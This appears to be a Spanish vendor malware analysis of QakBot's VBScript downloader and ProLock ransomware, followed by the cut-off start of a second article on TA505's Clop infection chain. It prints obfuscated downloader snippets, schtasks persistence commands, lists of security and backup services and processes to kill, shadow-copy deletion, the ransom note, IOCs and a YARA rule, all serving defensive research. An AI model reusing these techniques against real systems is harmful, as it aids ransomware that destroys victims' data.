Distribución de ProLock mediante QakBot: son solo negocios, no es nada personal

Distribución de ProLock mediante QakBot: son solo negocios, no es nada personal

Resumen

El FBI y la agencia alemana CERT-Bund [1][2] advierten de que el malspam QakBot está distribuyendo el ransomware ProLock.

QakBot se distribuye por correo electrónico. En la campaña descrita se envían correos con un enlace a un archivo ZIP. Este archivo ZIP contiene a su vez un archivo VBScript que descarga el paquete de QakBot en los ordenadores de las víctimas. A partir de ahí, los operadores de QakBot pueden descargar el ransomware ProLock.

El ransomware ProLock emplea RC6 para cifrar archivos en el ordenador de sus víctimas, dejando sin cifrar los primeros 8 KiB de todos los archivos. Luego añade una extensión .proLock a los archivos cifrados y deja una nota de secuestro diciendo que no es «[n]ada personal, solo negocio» y dando instrucciones sobre cómo pagar el rescate. Sin embargo, el ransomware también elimina determinados archivos con las extensiones .bac o .bak, por lo que las víctimas pierden esos archivos incluso si pagan.

Detalles

QakBot (también conocido como QBot, QuakBot o Pinkslipbot) lleva en activo desde 2008. El ransomware ProLock es relativamente nuevo. Hemos compuesto una cronología de acontecimientos recientes relativos a estos dos programas de malware:

Acontecimientos recientes sobre QakBot

ProLock es un ransomware que fue observado por primera vez a finales de 2019. Por aquel entonces se llamaba PwndLocker. Sin embargo, PwndLocker contenía un fallo que permitía a las víctimas descifrar sus archivos sin pagar el rescate. Por tanto, en 2020, resolvió el fallo y cambió su nombre por ProLock.

Aunque ProLock suele obtener acceso a sus víctimas a través de RDP, recientemente se ha distribuido mediante QakBot, de un modo similar a como Emotet distribuye ransomware.

Análisis técnico

Este análisis comienza con una descripción de algunos pasos de la cadena de infección mediante QakBot observada. Los pasos más relevantes e interesantes se describen en el diagrama de flujo de abajo.

Cadena de infección de QakBot

La infección inicial emplea un correo con un enlace a un archivo ZIP. El archivo ZIP contiene un archivo VBScript que descarga el paquete de QakBot. Al igual que Emotet, Qakbot es capaz de descargar otro malware. El último que está distribuyendo, y que ha sido objeto de numerosas advertencias por parte de organismos gubernamentales, es el ransomware ProLock.

La segunda parte de este artículo contiene una vista general del funcionamiento interno del nuevo ransomware ProLock.

Correo

La campaña observada se dirigía al público alemán y estaba basada en el secuestro de conversaciones, con los correos de QakBot respondiendo a conversaciones de correo obtenidas de anteriores víctimas. Los interlocutores de dichas víctimas previas recibían entonces un correo con un enlace como el siguiente:

Variante de correo inicial

La sección inferior del correo (que no aparece en la imagen) contiene el hilo de conversación secuestrado.

Tras esta campaña se han observado muchas campañas diferentes, también en otros idiomas distintos al alemán.

Remitente

Como nombre visible, en el campo «From» del encabezado RFC 5322, los correos muestran el nombre visible del interlocutor con el que se mantiene el hilo de conversación secuestrado. La dirección mostrada en el campo «From» es la dirección real del remitente. De este modo, los correos son capaces de pasar las comprobaciones SPF y DKIM.

Para ilustrarlo, imaginémosnos que una tal Alice ha participado en una conversación con un tal Bob Doe. El hilo de conversación es secuestrado cuando Alice se contagia de QakBot. El campo «From» del encabezado RFC 5322 de los correos robados es Bob Doe <bob@example.com>. Ahora, el ordenador de Alice envía el malspam QakBot. En tal caso, los correos se enviarán con el siguiente campo «From»: Bob Doe <alice@example.org>.

En caso de que no haya nombre visible, será la dirección de correo la que se use directamente como nombre visible en el campo «From» del encabezado RFC 5322. Este comportamiento se observa en algunos correos. He aquí un ejemplo:

Variante de correo inicial

Horquilla de tiempo

A juzgar por las fechas de las conversaciones de correo secuestradas, es posible concluir que los correos robados son en su mayoría recientes, es decir, que los hilos solo llevaban algunos días abiertos cuando se emplearon en los ataques. Sin embargo, a diferencia de Emotet, los artífices de esta operación de malspam parecen no limitar su secuestro a correos recientes. También hemos observado correos adhiriéndose a conversaciones de 2015.

El señuelo

Los correos intentan inducir a las víctimas a descargar desde un enlace etiquetado ANHANG ZUM DOWNLOAD («Enlace de descarga») conminándolo a revisar o comentar el documento al que apunta el enlace de descarga con diferentes frases. En campañas anteriores en lengua inglesa, el texto del enlace era ATTACHMENT DOWNLOAD. He aquí algunos ejemplos:

Variante de correo inicial

Variante de correo inicial

Variante de correo inicial

Aunque el conjunto de frases parece ser limitado (ya que hemos observado repeticiones), la formulación es completamente genérica y puede sustituirse por cualquier otra en cualquier momento. Esto permite inyectar estos correos en prácticamente cualquier hilo de conversación.

El enlace conduce a un archivo ZIP que contiene un archivo VBScript.

El archivo VBScript

Aunque el archivo VBScript parece tener un tamaño de cerca de 37 MiB (38045309 Bytes), está inflado a base de ceros:

$ hexdump -C Darlehensvertrag_8378051_19052020.vbs | less
00000000  0a 4f 6e 20 45 72 72 6f  72 20 52 65 73 75 6d 65  |.On Error Resume|
00000010  20 4e 65 78 74 0a 64 69  6d 20 6a 4d 52 50 42 2c  | Next.dim jMRPB,|
00000020  20 68 6d 58 74 76 6c 2c  20 68 68 71 49 43 54 2c  | hmXtvl, hhqICT,|
[...]
00033f50  45 47 46 58 53 51 20 3d  20 46 69 78 28 44 4d 4c  |EGFXSQ = Fix(DML|
00033f60  63 63 29 0a 56 7a 4f 64  69 20 3d 20 78 61 74 43  |cc).VzOdi = xatC|
00033f70  58 48 4e 20 6f 72 20 4e  72 4c 62 55 6d 0a 0a 00  |XHN or NrLbUm...|
00033f80  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
02448670  00 00 00 00 00 00 00 00  00 00 00 00 0a           |.............|
0244867d
(FIN)

El código VBScript en sí tan solo ocupa unos 200 KiB o el 0,5% del archivo. Es probable que esto se haga para evitar la detección, pues algunos sistemas renuncian a analizar archivos que sobrepasen determinado límite de tamaño.

El script emplea técnicas de evasión, anti-debugging y ofuscación.

Solo expondremos las partes más interesantes del script.

Evasión

El script espera 30000 ms:

[...]
ozcHEG = 318 - 15 + 490 + 5 - 22 - 9 - 7 + 10 + 29230
[...]
WScript.Sleep ozcHEG
[...]

Esto probablemente una técnica dinámica de evitación de análisis. Algunos sistemas de análisis emplean temporizadores para reducir el tiempo de análisis y deciden si una muestra es maliciosa o no en base a las acciones que ésta realice antes de que finalice el temporizador.

Supresión de errores

El script emplea On Error Resume Next en cada función. Esto ordena al programa continuar con su siguiente orden incluso si ocurre un error.

Ofuscación

Sustitución de cadenas

El script utiliza una técnica habitual de sustitución de cadenas para ofuscar las cadenas realmente utilizadas en el script. El código

set o=CreateObject(replace("Rx1wRx1scRx1rRx1ipRx1tRx1.sRx1heRx1lRx1l", "Rx1", ""))

se convierte en

set o=CreateObject("wscript.shell")

Esta técnica se emplea en múltiples puntos del script.

Concatenación de caracteres

El enlace emplea concatenación de caracteres para formar cadenas mediante invocaciones individuales de la función chr(). El código

qtcqQ=chr(87)&chr(105)&chr(110)&chr(77)&chr(103)&chr(109)&chr(116)&chr(115)&chr(58)&chr(123)&chr(105)&chr(109)&chr(112)&chr(101)&chr(114)&chr(115)&chr(111)&chr(110)&chr(97)&chr(116)&chr(105)&chr(111)&chr(110)&chr(76)&chr(101)&chr(118)&chr(101)&chr(108)&chr(61)&chr(105)&chr(109)&chr(112)&chr(101)&chr(114)&chr(115)&chr(111)&chr(110)&chr(97)&chr(116)&chr(101)&chr(125)&chr(33)&chr(92)&chr(92)&chr(46)&chr(92)&chr(114)&chr(111)&chr(111)&chr(116)&chr(92)

se convierte en

qtcqQ="WinMgmts:{impersonationLevel=impersonate}!\\\\.\\root\\"

Esta técnica se emplea en múltiples puntos del script.

Cifrado XOR

El script emplea una cadena de caracteres muy larga (definida al principio). Nosotros la hemos renombrado a LARGE_STRING. Esta gran cadena de caracteres se transforma 3 veces mediante una función que utiliza el algoritmo de cifrado XOR para descifrar las URLs de descarga y los nombres de los archivos ejecutables. Las claves XOR se obtienen de una cadena más pequeña a la que hemos llamado xor_key_selection_string, obtenida mediante corte:

xor_key_selection_string = "J32EmExEv2QE3ZfZsFlO84vJKXRFXWutfc2vigLlDKJZNT9T0wlTWtOiqp8dSt7XJzu9VhQvxzXARwg1kjAEvzaRQJcqbW2J0HmDtXeVxk18ZFhG9zZwWTN4aGkDh0nbIIFGhOPU50PzCAGbom360Sry6vA9DHp56oAtEZZRhaSL0noyFy4C9B3rXTSbPbx0hcOnsNYVUTQ7TIKSLavputomDcV50UwbgBoXbX1a8iY11TCylu13ugCo7C8FXmbSGYPi4rr1dq6KaV7kpp2g6urPeKD3HuLb2nYobSWe9KvmKxGdfUxNz8HAdGjI2kjh6ojyqdayw9RT5yYxLEQsRiHnuz0RiyDeVLFVutox5abkwDf9v66PWlRw4HrThNtW36OZOgw7zmvmOr5ysh5uUf3lRRIcP"
[...]
xor_key_1 = Asc(Mid(xor_key_selection_string, rZGOkh, 418 + 454 + 6 - 19 - 4 + 12 - 21 + 129 - 974))
[...]
TRANS_LARGE_STRING  = string_transform(LARGE_STRING, xor_key_1)
jRABF   = sgzJJn * NrLbUm

DMLcc   = 468 + 14 - 9 + 21 - 196 - 100 + 178 - 231 + 578                        

TRANS_LARGE_STRING  = string_transform(TRANS_LARGE_STRING, xor_key_2)

MGQNb = SWoDQ - xatCXHN                                                          

TRANS_LARGE_STRING = string_transform(TRANS_LARGE_STRING, xor_key_3)

(Los nombres de las variables xor_key_selection_string, xor_key_{1,2,3}, string_transform, TRANS_LARGE_STRING y LARGE_STRING han sido introducidos por el analista para entender mejor la lógica del programa. En el código original, los nombres eran secuencias de caracteres aleatorias.)

Conexión de red

El script envía solicitudes GET a 5 URLs diferentes:

Captura de red de Wireshark

El código VBScript code responsable de las solicitudes GET se encuentra dentro del siguiente bucle for:

        For i = 1 To 6
                ms.Open Replace("S12GES12TS12", "S12", ""), RryLCg(index) & iGonf, False

(Observación: Hemos utilizado una herramienta para normalizar la sangría del código.)

El agente de usuario está incluido en el script mediante hard coding. Se trata de una secuencia de letras con mayúscula inicial escrita dos veces seguidas, como aquí:

ms.setRequestHeader OIEDjshTTW, "AlbertaAlberta"

Si bien las secuencias en sí son aleatorias y varían de una muestra a otra, se trata siempre de una secuencia escrita dos veces (p. ej., LamodaLamoda).

El parámetro uid de la cadena de consulta es una cadena de caracteres codificada en Base64 que indica las versiones del antivirus del sistema y de Windows.

Parámetro uid descodificado

Esta información se obtiene mediante dos consultas WMI:

GetObject("WinMgmts:{impersonationLevel=impersonate}!\\\\.\\root\\SecurityCenter2").ExecQuery("select * from AntiVirusProduct")

y

GetObject("WinMgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")

(Obviamente, el código de estas dos consultas estaba ofuscado y ocupaba varias líneas.)

Descarga y ejecución del paquete de QakBot

La misma consulta GET que envía el parámetro uid recibe un archivo PE como respuesta:

El script lo guarda como %userprofile%\AppData\Local\Temp\PicturesViewer.exe y ejecuta el ejecutable:

El código correspondiente en el archivo VBScript se encuentra dentro del bucle for de la consulta GET mencionada. En primer lugar, comprueba el readyState. Si la solicitud está en estado DONE (readyState = 4), comprueba si el tamaño de cuerpo de la respuesta es diferente de 0 y, por último, si el contenido de la respuesta comienza por MZ:

[...]
If ms.readyState = 4 Then
        If Len(ms.responseBody) <> 0 Then
                If Left(ms.responseText, 2) = "MZ" Then
[...]
                        .Write ms.responseBody
[...]
                        execute RryLCg(6)
[...]

Ahora, el paquete de QakBot descargado está en ejecución, y con esto finaliza el script de descarga.

QakBot

QakBot está empaquetado y se desempaqueta en memoria durante su ejecución. En primer lugar, se ejecuta a sí mismo con la bandera opcional /C. Esto ordena al binario de QakBot a realizar pruebas para comprobar si se está ejecutando dentro de una sandbox. A continuación, se ejecuta mediante una tarea programada empleando schtasks.exe /Create /RU \"NT AUTHORITY\\SYSTEM\". Esto permite al bot aumentar sus privilegios. A continuación, se inyecta en explorer.exe mediante vaciado de procesos (mediante CREATE_SUSPENDED). Seguidamente obtiene persistencia mediante claves de registro (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run), así como mediante una tarea programada (schtasks.exe /create /tr mjezacl.exe /sc HOURLY /mo 5).

Después de esto, QakBot consulta www.ip-address.com para obtener la IP externa del sistema infectado. Finalmente, en la parte determinista de su cadena de ejecución, establece comunicación con los servidores de control (proxy).

Esto permite a Qakbot, al igual que Emotet, cargar otros módulos, así como malware adicional. En este caso, QakBot descarga y ejecuta ProLock.

Antes de pasar a analizar ProLock, echemos un vistazo al origen de las IPs de los servidores de control de QakBot.

Control y comando

Las IPs de los servidores de control proceden principalmente de los Estados Unidos y, en mucha menor medida, de Rumanía. Sin embargo, la distribución de las procedencias puede variar ligeramente de campaña a campaña.

La campaña de distribución con la etiqueta spx128, por ejemplo, tenía un tercer cluster de IPs en México.

Distribución de servidores de control por países

Por otra parte, la campaña de distribución con la etiqueta spx116 y un señuelo en alemán presenta un mayor número de IPs procedentes de Europa:

Distribución de servidores de control por países

Sin embargo, en general, los países de habla inglesa parecen ser el principal lugar de procedencia de las IPs. La distribución indica que QakBot estaba centrado principalmente en países de habla inglesa. Sin embargo, como nos muestra la campaña contra Alemania, es posible que ahora esté cambiando de estrategia para convertir a QakBot en una operación más global a semejanza de Emotet.

En caso de que el origen de las IPs de servidores de control se adaptase al país atacado, sería de esperar un mayor número de IPs alemanas. Por tanto, no se sabe a ciencia cierta si el cambio observado en campañas enfocadas en Alemania es una simple coincidencia y los responsables de QakBot simplemente carecen de un número significativo de IPs de control europeas.

La lista de IPs de servidores de control cambia con mucha frecuencia.

ProLock

Como ya hemos indicado, varios organismos gubernamentales están advirtiendo que QakBot está distribuyendo la nueva variante de PwndLocker llamada ProLock. Por tanto, repasaremos ahora brevemente los principales hallazgos relativos al nuevo ransomware ProLock.

Por fuentes de acceso público, se sabe que la variante actual de ProLock se envía oculta dentro de un archivo de imagen llamado WinMgr.bmp. La imagen es completamente negra, salvo por algunos píxeles blancos. Es en estos píxeles donde se oculta el código binario de ProLock.

ProLock en WinMgr.bmp

Desde allí, ProLock se carga en memoria y se ejecuta mediante PowerShell.

Cargador de PowerShell

El código del cargador de PowerShell es el siguiente:

Cargador de ProLock para PowerShell

(Fuente de la imagen: [3])

Dependiendo del tamaño del puntero ([IntPtr]::size, es decir, de la longitud de palabra en el sistema operativo), PowerShell escribe los datos en memoria en las direcciones 0xA230 (32 bits) o 0xD7A0 (64 bits) y los ejecuta.

A continuación describiremos la variante de 32 bits.

Desempaquetado

En primer lugar, un código auxiliar desempaqueta la carga útil:

Código auxiliar de ProLock para desempaquetar la carga útil.

El desempaquetamiento emplea un sencillo algoritmo de cifrado XOR con el offset 0xa27f (en WinMgr.bmp) y la clave 0x09b1a2dc.

El shellcode de la carga útil desempaquetada recorre el PEB a partir de FS:[0x30] para obtener una lista de los módulos cargados. Calcula el hash de los nombres de las DLLs y los compara contra un hash de KERNEL32.DLL. De este modo obtiene la dirección de kernel32.dll. A continuación, obtiene las direcciones de LoadLibraryA, GetProcAddress y VirtualAlloc recorriendo el directorio de exportación de kernel32.dll, calculando el hash de los nombres de las funciones que contiene y comparándolas con una lista de hashes de las funciones correspondientes:

ProLock determina las direcciones de bibliotecas dinámicas y funciones.

A lo largo del código se emplean secuencias de call label; db 'string'; label: ... para cargar en memoria direcciones de cadenas de caracteres.

ProLock cargando cadenas de caracteres en 32 bits.

Observación: En la versión de 64 bits se emplea el direccionamiento relativo al contador de programa (no disponible en la versión de 32 bits).

Con las cadenas de caracteres cargadas se determinan las direcciones de otras bibliotecas y funciones y se almacenan en memoria.

Preparación

A continuación, ProLock procede a eliminar los siguientes archivos mediante DeleteFileA:

  • C:\\Programdata\\WinMgr.xml
  • C:\\Programdata\\WinMgr.bmp
  • C:\\Programdata\\clean.bat
  • C:\\Programdata\\run.bat

ProLock eliminando archivos

Desconecta todas las conexiones a recursos compartidos, salvo a los ocultos.

ProLock eliminando conexiones a recursos compartidos salvo los ocultos.

Enumera los procesos en ejecución con ayuda de las funciones CreateToolhelp32Snapshot y Process32{First,Next}:

ProLock enumerando procesos.

Los seis primeros caracteres de cada nombre de proceso se buscan en una lista.

Lista de detención de procesos de ProLock.

Si encuentra un proceso en la lista,

ProLock deteniendo procesos de su lista

se invoca taskkill.exe /F /IM mediante ShellExecuteA:

ProLock deteniendo procesos de su lista

Los procesos buscados y detenidos empiezan por las siguientes secuencias: agntsv, cntaos, dbeng5, dbsnmp, encsvc, excel., firefo, infopa, isqlpl, mbamtr, msacce, msftes, mspub., mydesk, mysqld, ntrtsc, ocauto, ocomm., ocssd., onenot, oracle, outloo, pccntm, powerp, sqbcor, sqlage, sqlbro, sqlser, sqlwri, steam., syncti, tbirdc, thebat, thunde, tmlist, visio., winwor, wordpa, xfssv, czoolz.

A continuación se emplea net.exe stop "<service>" /y para detener una larga lista de servicios:

Lista de detención de servicios de ProLock.

Los servicios de la lista de detención de servicios de ProLock corresponden a productos de seguridad, así como a sistemas de bases de datos y copia de seguridad que podrían tener bloqueados archivos por tenerlos abiertos, impidiendo al ransomware cifrarlos.

Los servicios buscados son CSFalconService, McAfeeFramework, Alerter, AcronisAgent, Acronis VSS Provider, BackupExecAgentAccelerator, BackupExecDeviceMediaService, BackupExecJobEngine, BackupExecManagementService, BackupExecRPCService, BackupExecVSSProvider, DFSR, EPIntegrationService, EPProtectedService, EPSecurityService, EPUpdateService, MB3Service, MBAMService, MBEndpointAgent, MSExchangeES, MSExchangeMGMT, MSExchangeMTA, MSExchangeSA, MSExchangeSRS, MSExchangeADTopology, MSExchangeDelivery, MSExchangeDiagnostics, MSExchangeEdgeSync, MSExchangeHM, MSExchangeHMRecovery, MSExchangeIS, MSExchangeMailboxReplication, MSExchangeRPC, MSExchangeRepl, MSExchangeServiceHost, MSExchangeTransport, MSExchangeUM, MSExchangeUMCR, MSOLAP$*, MSSQLSERVER, MsDtsServer, MySQL57, OSearch15, OracleClientCache80, QuickBooksDB25, SPAdminV4, SPSearchHostController, SPTraceV4, SPUserCodeV4, SPWriterV4, SQLBrowser, SQLSafeOLRService, SQLsafe Backup Service, SQLSERVERAGENT, SQLTELEMETRY, SQLBackups, SQLAgent$*, MSSQL$*, MSMQ, ReportServer, ReportServer$*, SQLWriter, SQLBackupAgent, Symantec System Recovery, SyncoveryVSSService, VeeamBackupSvc, VeeamCatalogSvc, VeeamCloudSvc, VeeamEndpointBackupSvc, VeeamEnterpriseManagerSvc, VeeamMountSvc, VeeamNFSSvc, VeeamRESTSvc, VeeamTransportSvc, Veeam Backup Catalog Data Service, epag, epredline, mozyprobackup, masvc, macmnsvc, mfemms, McAfeeDLPAgentService, psqlWGE, swprv, wsbexchange, WinVNC4, TMBMServer, tmccsf, tmlisten, VSNAPVSS, stc_endpt_svc, wbengine, bbagent, NasPmService, BASupportExpressStandaloneService_N_Central, BASupportExpressSrvcUpdater_N_Central, hasplms, EqlVss, EqlReqService, RapidRecoveryAgent, YTBackup, vhdsvc, TeamViewer, MSOLAP$SQL_2008, MSOLAP$SYSTEM_BGC, MSOLAP$TPS, MSOLAP$TPSAMA, MSSQL$BKUPEXEC, MSSQL$ECWDB2, MSSQL$PRACTICEMGT, MSSQL$PRACTTICEBGC, MSSQL$PROD, MSSQL$PROFXENGAGEMENT, MSSQL$SBSMONITORING, MSSQL$SHAREPOINT, MSSQL$SOPHOS, MSSQL$SQL_2008, MSSQL$SQLEXPRESS, MSSQL$SYSTEM_BGC, MSSQL$TPS, MSSQL$TPSAMA, MSSQL$VEEAMSQL2008R2, MSSQL$VEEAMSQL2012, MSSQLFDLauncher, MSSQLFDLauncher$PROFXENGAGEMENT, MSSQLFDLauncher$SBSMONITORING, MSSQLFDLauncher$SHAREPOINT, MSSQLFDLauncher$SQL_2008, MSSQLFDLauncher$SYSTEM_BGC, MSSQLFDLauncher$TPS, MSSQLFDLauncher$TPSAMA, MSSQLSERVER, MSSQLServerADHelper, MSSQLServerADHelper100, MSSQLServerOLAPService, SQLAgent$BKUPEXEC, SQLAgent$CITRIX_METAFRAME, SQLAgent$CXDB, SQLAgent$ECWDB2, SQLAgent$PRACTTICEBGC, SQLAgent$PRACTTICEMGT, SQLAgent$PROD, SQLAgent$PROFXENGAGEMENT, SQLAgent$SBSMONITORING, SQLAgent$SHAREPOINT, SQLAgent$SOPHOS, SQLAgent$SQL_2008, SQLAgent$SQLEXPRESS, SQLAgent$SYSTEM_BGC, SQLAgent$TPS, SQLAgent$TPSAMA, SQLAgent$VEEAMSQL2008R2, SQLAgent$VEEAMSQL2012, ReportServer$SQL_2008, ReportServer$SYSTEM_BGC, ReportServer$TPS, y ReportServer$TPSAMA.

Por último, ProLock emplea los siguientes comandos para eliminar instantáneas de volúmenes:

Comandos vssadmin.exe de ProLock.

Comandos vssadmin.exe de ProLock.

Los comandos se pasan a vssadmin.exe, invocado a su vez mediante ShellExecuteA:

ProLock invoca vssadmin.exe.

ProLock invoca vssadmin.exe.

ProLock enumera todas las letras de unidad para la eliminación de instantáneas de volúmenes, salvo las correspondientes a unidades de CD-ROM (DRIVE_CDROM):

ProLock excluyendo las unidades de CD-ROM de la eliminación de instantáneas de volúmenes.

El secuestro

ProLock parece no cifrar los primeros 8 KiB de los archivos. Por tanto, los archivos con un tamaño inferior a 8 KiB no se cifran en absoluto ni reciben la extensión .proLock.

Los archivos y directorios se procesan en base a varias listas de archivos:

Listas de archivos y directorios de ProLock.

ProLock evita archivos con las extensiones .exe, .dll, .lnk, .ico, .msi, .chm, .sys, .hlf, .lng, .ttf y .cmd.

Los archivos con extensión .bac o .bak se eliminan.

ProLock tampoco recorre directorios con los nombres $Recycle.Bin, Windows, Boot, System Volume Information, PerfLogs, Common Files, DVD Maker, Internet Explorer, Kaspersky Lab, Kaspersky Lab Setup Files, WindowsPowerShell, Microsoft, Microsoft.NET, Mozilla Firefox, MSBuild, Windows Defender, Windows Mail, Windows Media Player, Windows NT, Windows Photo Viewer, Windows Portable Devices, Windows Sidebar, WindowsApps o Uninstall Information. Tampoco se visitan los siguientes directorios del directorio de perfil: Adobe, Microsoft, Microsoft_Corporation, Packages y Temp.

ProLock utiliza múltiples subprocesos. Hay una función dentro de un subproceso que atraviesa las estructuras de directorios. Otras funciones dentro de otros subprocesos se ocupan de cifrar y renombrar los archivos:

ProLock ejecutando varios subprocesos para cifrar archivos.

Para el cifrado, ProLock emplea la instrucción RDTSC del procesador para obtener números aleatorios con los que genera, a continuación, la clave de cifrado:

Función de ProLock para obtener números aleatorios.

Los archivos en sí parecen estar cifrados con RC6. La función de planificación de claves de RC6 puede identificarse por las constantes de RC6 0xb7e15163 y 0x9e3779b9, así como por el típico bucle for con cuenta hasta 44 para inicializar la estructura de la clave hallado en el código del malware:

Función RC6_set_key de ProLock.

Tras el cifrado se añade una extensión .proLock al final del nombre de cada archivo cifrado:

ProLock añadiendo la extensión .proLock.

Durante el recorrido de directorios y antes del cifrado, ProLock deposita un archivo llamado [HOW TO RECOVER FILES].TXT («Cómo recuperar los archivos») con su nota de secuestro en cada directorio. A continuación se ofrece una traducción (puede ver la nota original inglesa en la versión inglesa de esta página):

Your files have been encrypted by ProLock Ransomware using RSA-2048 algorithm.

   [.:Nothing personal just business:.]

No one can help you to restore files without our special decryption tool.

To get your files back you have to pay the decryption fee in BTC.
The final price depends on how fast you write to us.

   1. Download TOR browser: https://www.torproject.org/
   2. Install the TOR Browser.
   3. Open the TOR Browser.
   4. Open our website in the TOR browser: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.onion
   5. Login using your ID XXXXXXXXXXXXXXXXXXXX

   ***If you have any problems connecting or using TOR network:
   contact our support by email chec1kyourf1les@protonmail.com.

   [You'll receive instructions and price inside]

The decryption keys will be stored for 1 month.

We also have gathered your sensitive data.
We would share it in case you refuse to pay.

Decryption using third party software is impossible.
Attempts to self-decrypting files will result in the loss of your data.

Lógicamente, el que no se trate de «[n]ada personal, solo negocios» no supone ningún consuelo para las víctimas.

No hemos observado ninguna conexión a red en la muestra de ProLock analizada. Sin embargo, no hemos analizado la cadena completa hasta la ejecución de la muestra de ProLock. Es posible que los delincuentes empleen malware de sustracción de datos antes de emplear el ransomware ProLock. Por tanto, la amenaza de «compartir» «datos sensibles» podría ser real.

Conclusión y soluciones

No debe pagarse ningún rescate. En el pasado, ProLock, bajo el nombre de PwndLocker, tuvo problemas con su sistema de descifrado, impidiendo a las víctimas descifrar sus archivos. El FBI ha expresado reservas similares respecto a la última versión. Además, como este análisis ha demostrado, los archivos con extensión .bac o .bak no se cifran, sino que se eliminan, con lo que la pérdida de datos sería significativa incluso si la víctima paga.

Es preciso tener copias de seguridad en lugares inaccesibles para el ransomware.

Spam and Malware Protection de Hornetsecurity bloquea los patrones y URLs conocidos de los correos de QakBot.

Advanced Threat Protection de Hornetsecurity, con la función URL Rewriting, sustituye las URLs de los correos por URLs seguras. Al hacer clic, el usuario es guiado a la página web a través del proxy ATP de Hornetsecurity, que analiza contenidos descargables y bloquea el acceso a malware. Esto protege frente al enlace malicioso del correo inicial, impidiendo la descarga del archivo VBScript de QakBot desde el primer momento.

Bibliografía

Indicadores de Compromiso (IOCs)

Hashes

SHA256 Nombre de archivo Descripción
20cd1626d319f10323f5abda86fc11d0ed3783bd65f9c3a6501841e783edf61d Darlehensvertrag_8378051_19052020.vbs Archivo VBScript de descarga de QakBot
0cd872e07f9e1929b9b3baf7f86af70ccb28763bd4f1a16ebad659ea262106a5 888888.png Muestra de paquete de QakBot
a6ded68af5a6e5cc8c1adee029347ec72da3b10a439d98f79f4b15801abd7af0 Winmgr.bmp BMP con shellcode de ProLock como carga útil

Firmas

YARA

rule prolock_decoder_stub
{
    meta:
        description = "Detects ProLock decoder stubs"
        author = "Hornetsecurity Security Lab"
        date = "2020-06-03"
        hash1 = "a6ded68af5a6e5cc8c1adee029347ec72da3b10a439d98f79f4b15801abd7af0"
    strings:
        $decoder_stub_32 = {
            55 89 e5 8b 4? ?? eb ?? 89 4? ?? 8d 15 ?? ?? ?? ?? 8d 05
            ?? ?? ?? ?? 83 e8 ?? 29 c2 8b 4? ?? 01 c2 31 db b8 ?? ??
            ?? ?? 31 04 1a 81 3c 1a ?? ?? ?? ?? 74 ?? 83 fb ?? 75 ??
            31 04 1a 40 eb ?? eb ?? 83 c3 ?? 81 3c 1a ?? ?? ?? ?? 74
            ?? eb ??  }
        $decoder_stub_64 = {
            55 48 89 e5 48 89 4? ?? 48 8b 4? ?? eb ?? 49 89 c3 48 8d
            15 ?? ?? ?? ?? 48 8d 05 ?? ?? ?? ?? 48 83 e8 ?? 48 29 c2
            4c 89 d8 48 01 c2 48 31 db 48 c7 c0 ?? ?? ?? ?? 31 04 1a
            81 3c 1a ?? ?? ?? ?? 74 ?? 48 83 fb ?? 75 ?? 31 04 1a 48
            ff c0 eb ?? eb ?? 48 83 c3 ?? 81 3c 1a ?? ?? ?? ?? 74 ??
            eb ??  }
    condition:
        any of ($decoder_stub_*)
}
¡Clop, clop! ¿Quién es? ¡Un análisis del malspam HTML de TA505!

¡Clop, clop! ¿Quién es? ¡Un análisis del malspam HTML de TA505!

Resumen

En este artículo, el Security Lab de Hornetsecurity describe una de las cadenas de infección empleadas actualmente por quienes controlan el ransomware Clop. La cadena de infección descrita comienza con un correo electrónico que incluye un archivo adjunto malicioso en formato HTML. Este archivo adjunto conduce a la víctima hasta un archivo XLS que contiene el descargador Get2. A continuación, este descargador instala un troyano de acceso remoto (RAT) en el sistema empleado para preparar la red de la víctima antes del despliegue del ransomware Clop. El objetivo del ataque es cifrar tantos sistemas de la organización de la víctima como sea posible para obtener el mayor rescate posible. Con este objetivo, los atacantes también amenazan a las víctimas con publicar datos robados en caso de impago del rescate.

Detalles

Este artículo trata acerca de una actividad de amenaza cuyas tácticas, técnicas y y procedimientos e indicadores coinciden con actividades analizadas por otros proveedores bajo los nombres de TA505 (Proofpoint), SectorJ04 (NSHC Singapore), GRACEFUL SPIDER (Crowdstrike), GOLD TAHOE (Securework) y Dudear (Microsoft). El grupo criminal responsable lleva en activo desde, al menos, 2014. Su motivación es económica. Se les ha observado utilizando los siguientes medios:
  • Los descargadores Quant (2018), Marap (2018), Amadey (2019), AndroMut (2019) y Get2 (desde 2019).
  • Los RATs FlawedAmmyy (desde 2016), FlawedGrace (desde 2019), ServHelper (desde 2019) y SDBbot (desde 2019).
  • Los ransomwares Bart (2016), Locky (2016-2020), Jaff (2017) y Clop (desde 2019).
También emplean las siguientes redes de bots:
  • Dridex (desde 2014).
  • TrickBot (desde 2017).
  • Nercus (ya desaparecida) y Neutrino.
Como se trata de herramientas ampliamente utilizadas por otros grupos criminales, no se trata de indicadores de atribución fuertes. TA505 también emplea otro malware de uso común como TinyMet, una pequeña plataforma para Meterpeter de código abierto [TinyMet]. De 2016 a 2019, también emplearon de modo ilícito el software legítimo Remote Manipulator System (RMS) desarrollado por la empresa rusa TektonIT. La cadena de infección típica de TA505 tiene las siguientes características:
  1. Un malspam descarga Get2.
  2. Get2 descarga el RAT SDBbot, FlawedGrace o FlawedAmmyy.
  3. Movimiento lateral por la red de la víctima.
  4. Objetivo principal: desplegar el ransomware Clop en la mayor cantidad de sistemas posible.
Aquí nos concentraremos en una implementación de la cadena de infección empleada por TA505 desde 2019. En esta cadena de infección, el malspam inicial contiene un archivo adjunto en formato HTML. Este archivo adjunto HTML hace que la víctima descargue un documento XLS. Este documento XLS genera el descargador Get2 que, según lo observado, descarga a su vez SDBbot. Cadena de infección de TA505 con malspam en HTML SDBot se emplea para reconocer la red de la víctima y desplazarse por ella en sentido lateral. Cuando despliega el ransomware Clop, TA505 no parece estar interesado en cifrar ordenadores de determinados individuos. Su objetivo es cifrar de modo masivo los ordenadores de toda una organización. Esto probablemente lo haga con la intención de aumentar su influencia sobre la organización y, de este modo, incrementar tanto el importe del rescate como la presión para que se realice pago. Los ataques a grandes organizaciones se denominan «caza mayor». Un ejemplo de éxito de TA505 fue su ataque contra la Universidad de Maastricht. La universidad acabó con los datos de 267 servidores de Windows cifrados con el ransomware Clop. La universidad pagó 30 